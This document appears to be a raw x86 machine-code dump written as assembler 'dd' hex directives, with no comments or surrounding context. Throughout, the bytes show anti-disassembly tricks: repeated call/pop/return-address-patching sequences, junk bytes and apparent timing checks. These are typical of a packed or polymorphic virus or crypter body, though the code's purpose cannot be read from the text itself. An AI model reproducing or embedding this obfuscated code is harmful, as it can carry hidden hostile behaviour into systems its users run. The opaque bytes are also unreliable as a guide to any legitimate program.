dd 4EBh, 1600000h, 1F15798Dh, 0FB8B6006h, 2A25B589h, 6161061Fh
dd 6AF88B66h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 1FA8C355h, 0CE94Eh
dd 0C37C0000h, 0DE08314Dh, 34493664h, 858D0389h, 61F19BDh
dd 1B85B58Bh, 5390061Fh, 743E35BEh, 0BF505F75h, 1BC7BE40h
dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 6A006A61h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0E4D6C357h, 47BB9398h
dd 6AF18B9Ah, 14E900h, 0A45C0000h, 0DA05D6A7h, 418ACC01h
dd 69097C85h, 8B1FA19h, 858D565Eh, 6230CD8h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5DC35141h, 6EB1C880h
dd 7E800327h, 12E9h, 5C054800h, 802BE6FAh, 0D0F57096h
dd 34706FF1h, 66638F66h, 0C083F88Bh, 0EE805h, 53D50000h
dd 0B18C8F49h, 587B650Ah, 24734ED9h, 689B58Bh, 505F061Fh
dd 8830Fh, 66600000h, 8B66F38Bh, 48961FEh, 75858924h, 6A061F2Fh
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 1646716Bh, 0BFE9AA58h, 0D5C54Dh, 8D0F006Ah
dd 0
dd 16195FFh, 0FB8B061Fh, 8DFA8B66h, 22B1F29Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 1AD67280h, 0BD037A6Eh, 61F1295h, 8B53D3FFh, 85FF5EF3h
dd 61F1029h, 73EE9h, 0E800h, 815D0000h, 230CE2EDh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 8F9E7A0Dh, 0A54C3C8Bh, 0BD81A456h, 61F05E1h, 7D0h, 0D7860Fh
dd 8BFC0000h, 1F1EC19Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 8BC98CA7h, 1F1C31BDh
dd 0E38106h, 9000001h, 1F186D8Dh, 0FDB0B06h, 5C85h, 0F98B6600h
dd 0B2ABD83h, 0F000623h, 2E84h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0BE9B6F22h
dd 7C358AD7h, 53E9h, 0B1B58900h, 0C7061F31h, 230B2A85h
dd 106h, 68A0F00h, 89000000h, 1F0AAD8Dh, 32E906h, 0B70F0000h
dd 2A85C7F6h, 6230Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 2964C356h, 79440BB6h
dd 0CEAA37B5h, 1EC19D8Dh, 81F5061Fh, 0FFFEFF23h, 0DB8C66FFh
dd 1F2D8D89h, 9589061Fh, 61F0F55h, 0F04C3F6h, 4484h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0FF2D25E7h, 1F317595h, 0E8515006h, 12h, 130EDE52h, 4FCA3D83h
dd 9438156Eh, 6971E4B5h, 0FB8B5F11h, 4895E5Eh, 3A7E924h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 6118E4C3h, 0B0F88Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0CBC35747h, 0E603488Bh, 50006A70h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 49C411CCh, 6A71E49Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 931EC357h, 2D6632E1h
dd 667DC569h, 0FEDDEBEh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 23EC51C3h, 1F1A55B5h
dd 6BA06h, 89560000h, 1F0769B5h, 0C38B5E06h, 0EA97CE81h
dd 0E8C16E95h, 51006A04h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 9531BCE7h, 61F31C1h, 0E9E2F766h
dd 6, 2E70A987h, 2BF9C5D8h, 56006AD8h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F64E5D2h
dd 6650F9BFh, 89A531BFh, 0B5FF241Ch, 61F05E1h, 0FC9B533h
dd 8166061Fh, 0FF0A0AEFh, 1F1D4595h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 385A2BF0h
dd 21B58B53h, 8B061F1Ch, 1F1B99BDh, 6A00B006h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 66BCC350h, 9D89F78Bh, 61F1D19h, 71E470E6h, 0E3E68166h
dd 0DE8EEh, 1B550000h, 470DC037h, 0C87A5F0Ch, 0F530378Bh
dd 0F613C5Fh, 1F083h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 37A7FB5Ch, 8E92Ch, 33880000h
dd 868EDDC1h, 0B60F4C0Ch, 0F58D29D8h, 89061F1Dh, 1F07B985h
dd 6BA06h, 85890000h, 61F0E89h, 6AC38Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0F17664C3h
dd 6BBF5A55h, 0C151E67Bh, 6A04E8h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 565F98C3h, 114DB52Bh
dd 0F766061Fh, 153BFE2h, 0D82B661Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0FEC35040h, 38716508h, 51006A58h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0FD432BD7h, 2BA03BF5h, 1F2F85BDh, 0FD82B06h, 10088h
dd 7B9F500h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 0A992C356h, 1A5D9D29h
dd 810F061Fh, 3, 83FA8B66h, 6A00C1h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 5EB118C3h
dd 3BFB8B66h, 0A2860FD9h, 66000000h, 0AE8D98Ch, 99000000h
dd 7EEF0838h, 0A1BD06BFh, 0E1B58BD3h, 5E061F1Ah, 0F04C1F6h
dd 6C84h, 7595FF00h, 0E9061F31h, 0Eh, 6BF19494h, 7D04F832h
dd 2672300Eh, 0BD8B5486h, 61F1A79h, 3DB5015Bh, 2B061F12h
dd 858B60C3h, 61F2A69h, 5E616052h, 8343D61h, 860F0000h
dd 2Dh, 0E9FBB70Fh, 39h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 54C35747h, 892E90FDh, 1F1525B5h, 0E9C08B06h
dd 0Dh, 0AD42E34h, 0E432BF8Ah, 9162904h, 8BC38B73h, 71BD8BD8h
dd 0C7061F2Dh, 1F1D3D85h, 0AB7D3506h, 0F98B6655h, 9D89C08Bh
dd 61F1611h, 5E1BD81h, 7D0061Fh, 850F0000h, 40h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0CC35141h, 0B2BC50F3h
dd 605AD161h, 0D681C18Bh, 0E5B267Bh, 0E9958961h, 0F061F2Dh
dd 89h, 0E185FF00h, 0F5061F05h, 5E1B5FFh, 6A061Fh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 210DA2C3h, 0F6E55431h, 8B4DC226h, 1F18E1BDh, 0B5316006h
dd 61F1CF1h, 6E9h, 0F255D900h, 6177C908h, 1D4595FFh, 6A061Fh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 24C83DC3h, 755FC10h, 1B58BBFh, 90061F2Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BEC35040h, 53CD9A26h
dd 0F9BE6661h, 56006AF2h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 9D8929B7h, 61F13DDh, 1AADB589h
dd 0BD01061Fh, 61F1671h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 0F4C35545h, 4DB7F7E2h, 6A6FFDh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0CE9C1C3h, 7E000000h, 8A3715C7h, 784C015Ah, 0E98FA9DCh
dd 13h, 3CF504B0h, 3115F136h, 319673E0h, 7B367623h, 6AA9EA33h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 8BA3C352h, 0F08B66FBh, 1B518509h, 6A061Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 7AD2ABC3h, 0ADF433CDh, 0BD8BA2F1h, 61F110Dh, 0EAE9FE8Bh
dd 6AFFFFF8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 0D983C351h, 850F9257h, 3, 8BF78B66h
dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 90D5D4FFh, 0E9493CB6h, 11h, 39CA8F57h, 0BC4E586Ah
dd 34078410h, 0A33BEE3Fh, 4EB36h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 0E6EFC356h, 0FC199376h, 0F8ABC20Ch, 5EF85051h, 0BD858D5Eh
dd 6A061F19h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 318C352h
dd 50DEFC03h, 42E1BE66h, 6A240489h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DD22C356h
dd 8B511591h, 1F2F29B5h, 9BD8B06h, 0F061F2Bh, 6AF0BFh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 61C35141h
dd 101DB53Fh, 2F759D29h, 6A061Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 0EDC35343h, 0CFAFCE3Ch, 8D9A5B2Bh
dd 23167D85h, 69BD8B06h, 0E9061F02h, 0Fh, 8074699Ah, 370F11B9h
dd 0B8CA0C84h, 830BF395h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0B58B6AC3h, 61F0CCDh
dd 0E8525050h, 12h, 8CC93F05h, 1BAD262Bh, 60C9ABEFh, 1F3D7688h
dd 0EE86D8Dh, 5C000000h, 94A8F99Eh, 3B98FC25h, 53A66BA5h
dd 0F5E5F10h, 0BF665731h, 5A5EDF13h, 24048958h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0BFC35242h, 439751B6h
dd 0B3A32609h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0E68142C3h, 6EC3F1F8h, 3903BF66h
dd 2C358D31h, 6A061Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 6AC35545h, 0A4720E4Fh, 0FE8B79EDh, 16195FFh
dd 8960061Fh, 1F021195h, 0ADDA8106h, 6125414Bh, 0B1F29D8Dh
dd 81660622h, 0FFFB00F6h, 53006AD3h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 9730996Dh
dd 6E28F558h, 8BF905D8h, 2985FFFBh, 89061F10h, 1F0AD5BDh
dd 8A2E906h, 0E80000h, 5D000000h, 1687ED81h, 6A0623h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 6F0CFC3h, 6AEAFA58h, 0BD8BF42Bh, 61F1391h, 81F7B70Fh
dd 1F05E1BDh, 7D006h, 9A860F00h, 8B000001h, 9D8BFCF3h
dd 61F2009h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 0E5C35747h, 6A1F64CDh, 0BE90Eh, 77510000h, 252DEA8Fh
dd 3A3E187Bh, 0E381CAh, 6A000001h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A6C351h
dd 0DEF81A8h, 661865EDh, 0DB0BFE8Bh, 0C4850Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0FB1CBC3h, 31CB86D7h, 1F07559Dh, 0CE906h, 89450000h
dd 0CA93B992h, 36C690C5h, 0BD83958Bh, 6231457h, 21840F00h
dd 0F000000h, 483h, 0DBBE6600h, 6880F6Ch, 81000000h, 4FB6DEDEh
dd 91E97Bh, 0C7810000h, 2C76DBBDh, 145785C7h, 10623h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0F345E1C3h, 0FA05B63Bh, 95096C15h, 61F0841h, 52E9h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 0A3CB0D7Ch, 28520F86h, 85C78CD5h, 6231457h
dd 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9FC35040h
dd 0AEC2218Ch, 8DD2FB09h, 1F20099Dh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 2F427687h
dd 2B94BA22h, 1F080DB5h, 0FF238106h, 8BFFFFFEh, 1F070DBDh
dd 0DB8C6606h, 70D8589h, 0C3F6061Fh, 3C840F04h, 66000000h
dd 5F3AF781h, 317595FFh, 9D89061Fh, 61F2751h, 52505090h
dd 3DF3BF66h, 5250310Fh, 8B0Fh, 310F0000h, 585AFB8Bh, 8B90585Ah
dd 1F2D21B5h, 0F575706h, 86h, 0E95F5F00h, 455h, 0EE957h
dd 0C2A40000h, 1DEB0C53h, 0B651E7B6h, 21C14FC3h, 6A00B05Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 3FC5C352h, 359529h, 0DF81061Fh, 10751397h
dd 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 865982C3h, 66028955h, 4110C781h, 6A71E4h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0B60F09C3h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 54F2C95Dh, 0A53FD16Ch
dd 8166A967h, 0BA36B4E7h, 6, 61605260h, 79958B58h, 61061F08h
dd 0C1F9C38Bh, 6A04E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 66948EC3h, 8D29FB8Bh, 61F132Dh
dd 0F766F88Bh, 8D8B60E2h, 61F0F55h, 2B61D98Bh, 7E9D8h
dd 0EFAD0000h, 6103D6CDh, 0AE993B0h, 0AD000000h, 9F9E4A08h
dd 0DDE61475h, 0CE9504Dh, 0BD000000h, 0D4A839F8h, 0CA1BC29Ch
dd 93F7247Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 89C35040h, 5C556B62h, 0FFD90D6Ah, 1F05E1B5h, 0F3B70F06h
dd 1D4595FFh, 9589061Fh, 61F2F0Dh, 6A00B0h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 76390EC3h
dd 6CB7907Ch, 10E6C681h, 0BD8B31F7h, 61F1A39h, 6A70E6h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 380D63C3h, 15D4BF5Ch, 6D8529A6h, 0E4061F23h, 56006A71h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 25A273ACh, 171DBD8Bh, 613C061Fh, 263830Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0BB63BDC3h, 0BAD96F7h, 0B5097C55h, 61F2B01h, 6AD8B60Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 0C3F9C352h, 0BD8BCFF8h, 61F0E29h, 2318501h
dd 6BA061Fh, 0F000000h, 180h, 0C38BFC00h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 16h, 0F3C35040h, 840F5510h
dd 6, 31B9BD09h, 0E8C1061Fh, 9E904h, 0D4D60000h, 1821C272h
dd 66E04E34h, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 100FB4C3h, 0D82BAFF1h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DAC35646h, 0E58589E1h
dd 58061F24h, 5E9h, 471E2000h, 8B600F87h, 1F0CD1BDh, 0AE906h
dd 0AD200000h, 0A83A8465h, 0E1A9265Fh, 0FD82B61h, 15088h
dd 0A5B52900h, 60061F2Dh, 8E5B52Bh, 8E9061Fh, 0E8000000h
dd 65837B66h, 61909B1Ah, 7B9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0D5C681F2h
dd 83A0DA9Ah, 3BFC00C1h, 2860FD9h, 6A000001h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 279C350h, 26F293E1h, 0B58B2606h, 61F159Dh, 38F0Fh, 0BF0F0000h
dd 0D98C66FEh, 0F04C1F6h, 9D84h, 79953100h, 0FF061F02h
dd 1F317595h, 8E0F06h, 89000000h, 1F00998Dh, 6A5B06h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 2B4E89C3h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0EE31FBE6h, 897BA155h, 1F0D21BDh
dd 0BE85006h, 0A2000000h, 0B7498BAAh, 0CD587F5Fh, 0BD89D099h
dd 61F0059h, 343D5F5Eh, 0F000008h, 1986h, 0BE900h, 49140000h
dd 11C6054Ah, 0C730697Eh, 2BE9A7h, 0BF660000h, 0C08BDCA2h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 48C35343h
dd 29DA3B57h, 1F1B059Dh, 8BC38B06h, 50006AD8h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 452EC731h
dd 0FE6C08Ah, 810FFBBFh, 0
dd 1EC185C7h, 5FF7061Fh, 81663727h, 8B8083CEh, 53006AC0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0AEA7ACF1h, 31EF4114h, 0BD8101BAh, 61F05E1h, 7D0h, 25850Fh
dd 800F0000h, 6, 0DE9B52Bh, 85FF061Fh, 61F05E1h, 0EE9h
dd 0BC9F0F00h, 91703273h, 0A2121192h, 0FFA5DD8Eh, 1F05E1B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 3D1A8F27h, 293495DBh, 1F139995h, 4595FF06h
dd 6A061F1Dh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 2098C350h, 0DB24BE66h, 39B58B90h
dd 8B061F14h, 1F23E9BDh, 0F1B52B06h, 0F061F30h, 6AF2BFh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0E5C24EC3h, 0AE9h, 9AD74300h, 1913ECE4h, 521BDD7Ch
dd 2BCD8D89h, 335F061Fh, 1F2E15BDh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0AE92BCB0h
dd 0BEE71A59h, 375CB9EEh, 11559D09h, 0BEF8061Fh, 6CFD777Ch
dd 52DF8166h, 5E951h, 0C8060000h, 6A254FC7h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 6C1CC356h, 2C393439h, 83BDDDCh, 123DB589h, 0BF66061Fh
dd 6AE531h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 549ED1C3h, 51809728h, 0FFB70FF9h, 0F3BF0F5Fh
dd 18D59509h, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 5F8AAAC3h, 11B52368h, 89061F02h
dd 1F0089B5h, 0F764E906h, 0B58BFFFFh, 61F029Dh, 53006A60h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0ED9D29FDh, 0B9061F00h, 0FFFFFFFEh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 4FC35343h, 155461BFh, 13D06726h
dd 95BD8B7Dh, 8B061F16h, 98D21D3h, 6A061F20h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 0B4ACC356h, 0F96191Dh, 0D8D21E2h, 8B061F16h, 1F10D19Dh
dd 98D8B06h, 83061F20h, 850F01E1h, 6, 1FA18D89h, 8D8B061Fh
dd 61F160Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 61C35141h, 0F01E183h, 2985h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 57798675h
dd 0AC434C32h, 2398531h, 6061061Fh, 1FC19589h, 0FEB9061Fh
dd 6AFFFFFFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 7750C352h, 89DFE7C4h, 1F0CC985h
dd 0D18D2106h, 6A061F2Ah, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 45CCC350h, 0FF18BB0h
dd 8D21F7BFh, 61F0DD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0CEC35646h, 0CE87Ah, 6C840000h, 0B71BD5E1h
dd 0D77DCF91h, 0B58B4124h, 61F2D4Dh, 0D18D8B58h, 6A061F2Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 81CCC351h, 35AEF4CAh, 1E1834Bh, 6850Fh, 95890000h
dd 61F2DB5h, 0DD58D8Bh, 0B529061Fh, 61F0869h, 0F01E183h
dd 285h, 61C78B00h, 8EBE6660h, 0FFFEB93Fh, 6AFFFFh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 25C2DC3h, 0B1E75626h, 66D24C13h, 90BFC381h, 27D8D21h
dd 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 9D0921C3h, 61F0EA5h, 1D3D8D21h, 6A061Fh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 6C64FCC3h, 663BA0C1h, 9FFCE881h, 8B63E380h, 1F027D8Dh
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 6D8589A7h, 83061F06h, 850F01E1h, 1Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0DAC35646h, 8BECB47Dh
dd 1F1D3D8Dh, 0D99D8906h, 83061F13h, 850F01E1h, 24h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0ADC35545h, 29BBED7Eh
dd 0FA8B66D3h, 6A6061h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 0AE781EC3h, 475945C7h, 0D18B6618h
dd 2B85958Bh, 0FEB9061Fh, 6AFFFFFFh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7D44C355h
dd 0B4887ECEh, 19F38389h, 21F8BF0Fh, 1F2C298Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0B41ECF5Ch, 6E9F7h, 350A0000h, 13F7AE28h, 1EC18D21h
dd 6A061Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 290C31C3h, 1F11DD9Dh, 298D8B06h, 0BE061F2Ch
dd 51056C77h, 0F01E183h, 2485h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 2BEF9BE7h
dd 0E73D4E3Bh, 0C18D8BBEh, 6A061F1Eh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B99FC356h
dd 0E590BA66h, 664A2F3Ah, 830E95B8h, 850F01E1h, 24h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 7FC35343h, 0BB2F9197h
dd 0AF2CB866h, 6A6061h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 24A943C3h, 0FE51063h, 88Fh, 28E0F00h
dd 60000000h, 0E185C761h, 0D0061F05h, 6A000007h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 61F5C350h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 9FC35646h, 0A958AB00h, 9EC49033h, 7BBA66D1h, 158D29DFh
dd 0EB061F0Fh, 0E99D6107h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 16C35343h
dd 1DCAAFDh, 1F2B3DBDh, 6ADF8B06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 1340C355h
dd 4353EEDh, 38B0Fh, 8B660000h, 0EBC18BCFh, 0E09104Bh
dd 1AC53C2Fh, 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h
dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h
dd 49DEBDh, 0D5A3EA1Ah, 0
dd 0FEBF199Ch, 0FE3D0000h, 0FBh, 27E64128h, 0C3727DD4h
dd 0EBBE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 89F375FCh, 1F02CDBDh, 0F5BD8306h
dd 61F0Eh, 69850Fh, 8D890000h, 61F1E11h, 0B8h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 8DCC32D7h, 6AFD56CCh, 5E9FCE4h, 0AB000000h, 0F9AE72C8h
dd 4C2DA8Bh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1704h, 0C3574700h, 3A53F022h, 51D3BF0Fh, 267D9D0Bh
dd 8B5F061Fh, 898589C0h, 0E9061F20h, 5, 0BA154011h, 0C1BD83ADh
dd 61F06h, 0BD830975h, 61F1F51h, 50137400h, 0B8C08B53h
dd 4D0h, 0AD789D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h
dd 50117400h, 4D0B853h, 9D8D0000h, 621ACC5h, 585BD3FFh
dd 1A799531h, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 95BCE9C3h, 7FE905EFh, 0C08B07B3h
dd 5E9h, 0AC250400h, 858DA17Bh, 6232480h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 19h, 0ACC35343h, 4FC51EDh
dd 0EE901h, 83830000h, 556A42Dh, 61B3D25Ah, 0A3752C80h
dd 0DE8h, 0FA3E200h, 0E5D74489h, 19B88E57h, 8E0F71DBh
dd 6, 0C0E9E381h, 505A6E50h, 83BA6650h, 4895F85h, 0F7816624h
dd 858DA5FEh, 623243Dh, 298529h, 6050061Fh, 0F50D08Bh
dd 85h, 89615F00h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0BE9D0C3h, 0AB000000h
dd 88696636h, 0A436C9B9h, 95FF5DE1h, 61F1F21h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0AEC35242h, 14CEB371h
dd 8A11BA21h, 4830Fh, 0BB660000h, 448BB2D0h, 6A0424h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0CA811BC3h, 8468E7Eh, 89D6BF0Fh, 23246885h, 85BD3306h
dd 66061F08h, 448BD18Bh, 6A0824h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 40F637C3h, 703A7CC0h
dd 0D18BBA29h, 85890EF2h, 623247Ch, 83D1BF0Fh, 1F24B5BDh
dd 850F0006h, 10Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0D1C35747h, 663E299Ch, 0E4FD281h, 202585C6h
dd 6A47061Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0A48DC355h, 0CCFDD8B6h, 60383EA6h
dd 9D98D89h, 8B53061Fh, 1F2B1185h, 0E8615806h, 4, 0D49AA7D2h
dd 5840Fh, 7DBA0000h, 5039635Fh, 5E9h, 3D65FC00h, 448B66CCh
dd 8A570424h, 8B59F8h, 89CA8B66h, 0BA042444h, 499B02D0h
dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 5E826ED2h, 0B5FF7128h, 61F3271h, 0AF5BD09h
dd 858D061Fh, 6227993h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0EBC35747h, 687DA6EDh, 14B99589h, 0D0FF061Fh
dd 9850Fh, 8A0F0000h, 3, 893CDD80h, 1F24B585h, 0FD8D2306h
